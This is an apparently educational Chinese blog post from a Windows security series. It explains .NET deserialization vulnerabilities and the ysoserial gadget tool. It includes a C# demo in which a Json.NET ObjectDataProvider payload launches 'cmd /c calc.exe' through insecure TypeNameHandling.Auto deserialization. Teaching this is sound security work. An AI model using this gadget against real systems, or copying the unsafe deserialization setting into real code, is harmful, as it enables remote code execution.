iT邦幫忙

2023 iThome 鐵人賽

DAY 22
1
Security

Windows Security 101系列 第 22

[Day22] .NET - Deserialization Exploit

  • 分享至 

  • xImage
  •  

今天要講的是 .NET Deserialization 的 exploit,這是一個非常經典的漏洞利用方式。在許多漏洞研究報告都能看到這個技巧被使用。

Deserialization 的意思就是將物件導向程式中的物件以某種靜態的資料型態儲存,像是 byte array。Deserialization Exploit 通常會發生在物件導向程式的設計上有瑕疵,導致在轉換資料格式時,觸發非預期的程式執行。而這種漏洞通常是發生在 Library 上,像是 yaml, json, xml 等格式的轉換都有發生 Deserialization Exploit 的案例。這種漏洞也不只是 .NET 會有,像是 Python, Java 等都有 Deserialization 類型的漏洞。

Basic .Net Deserialization

在 .NET Deserialization 中,常常會使用到 ysoserial 這個專案,可以把他想像成 .NET 中的 ROPgadget 或 ropper 這樣的工具。

ysoserial

ysoserial 可以用來產生多種不同 gadget 串聯的 payload,gadget 的挑選會依照被攻擊的程式而有所不同。

下面圖片是使用 ObjectDataProvider 的 gadget 並且對應到的 library 是 Json.Net 並執行 calc.exe

https://ithelp.ithome.com.tw/upload/images/20231006/20120098juEKzFyKAL.png

在 Visual Studio 的 Package Manager 安裝 Json.Net

https://ithelp.ithome.com.tw/upload/images/20231006/20120098LiHbt5tHuS.png

將 ysoserial 產出的 payload 使用 JsonConvert.DeserializeObject 解析,便會成功觸發 payload 的行為。

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
    class Program
    {
        static void Main(string[] args)
        {
            //Declare exploit
            string userdata = @"{
                '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
                'MethodName':'Start',
                'MethodParameters':{
                            '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
                    '$values':['cmd', '/c calc.exe']
                },
                'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
            }";
            //Exploit to base64
            string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

            //Get data from base64
            byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
            //Deserialize data
            string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
            object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
            {
                TypeNameHandling = TypeNameHandling.Auto
            });
        }
    }
}

下一篇我要介紹的是 Exception Handler!

References


上一篇
[Day21] .NET - Dynamic Method (FlareOn9 - 08 Backdoor)
下一篇
[Day23] Exception Handler
系列文
Windows Security 10130
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言